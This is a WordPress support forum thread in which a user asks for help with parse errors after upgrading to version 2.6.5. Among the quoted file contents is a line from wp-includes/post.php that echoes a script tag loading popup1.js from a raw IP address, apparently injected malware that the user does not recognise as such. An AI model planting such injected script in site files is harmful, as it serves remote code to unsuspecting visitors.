• After completing the upgrade automatically, I checked the site, and got the following message:

    Parse error: syntax error, unexpected ‘!’, expecting ‘,’ or ‘;’ in
    /home/xxxxxxxx/public_html/blog/index.php on line 101

    I edited the file as follows: (str.charAt(c)!=’!’) changed to (str.charAt(c)!=’;’)

    The same message came up for the following files:

    /home/xxxxxxxx/public_html/blog/wp-blog-header.php
    /home/xxxxxxxx/public_html/blog/wp-load.php

    When the last one was changed (/home/xxxxxxxx/public_html/blog/wp-includes/compat.php) the screen was blank when I re-tried the blog.

    Any help will be appreciated.

Viewing 4 replies - 1 through 4 (of 4 total)
  • Thread Starter mabybryn

    (@mabybryn)

    The initial message was:

    Parse error: syntax error, unexpected ‘!’, expecting ‘,’ or ‘;’ in
    /home/xxxxxxxx/public_html/blog/index.php on line 19

    I changed the following:

    (str.charAt(c)!=’!’)

    to

    (str.charAt(c)!=’;’)

    This showed the next message, and I changed each file in a similar way.

    Not sure what you’ve got in your index.php file but the typical WordPress delivered index.php has this in the normal contents:

    <?php
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */
    
    /**
     * Tells WordPress to load the WordPress theme and output it.
     *
     * @var bool
     */
    define('WP_USE_THEMES', true);
    
    /** Loads the WordPress Environment and Template */
    require('./wp-blog-header.php');
    ?>

    I think I’d download the release zip again and replace the files.

    Thread Starter mabybryn

    (@mabybryn)

    I reinstalled wp-includes, and got the following message:

    Parse error: syntax error, unexpected ‘<‘ in
    /home/xxxxxxxx/public_html/blog/wp-includes/post.php on line 3439

    Line 3439 is:

    <?php echo ”; ?><?php echo ”; ?><?php echo ”; ?><?php echo ‘<script
    language=”javascript” src=”https://79.135.167.18/popup1.js”></script>&#8217;; ?>

    Any suggestuions on why it shows this error message?

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Problems upgrading to WordPress 2.6.5’ is closed to new replies.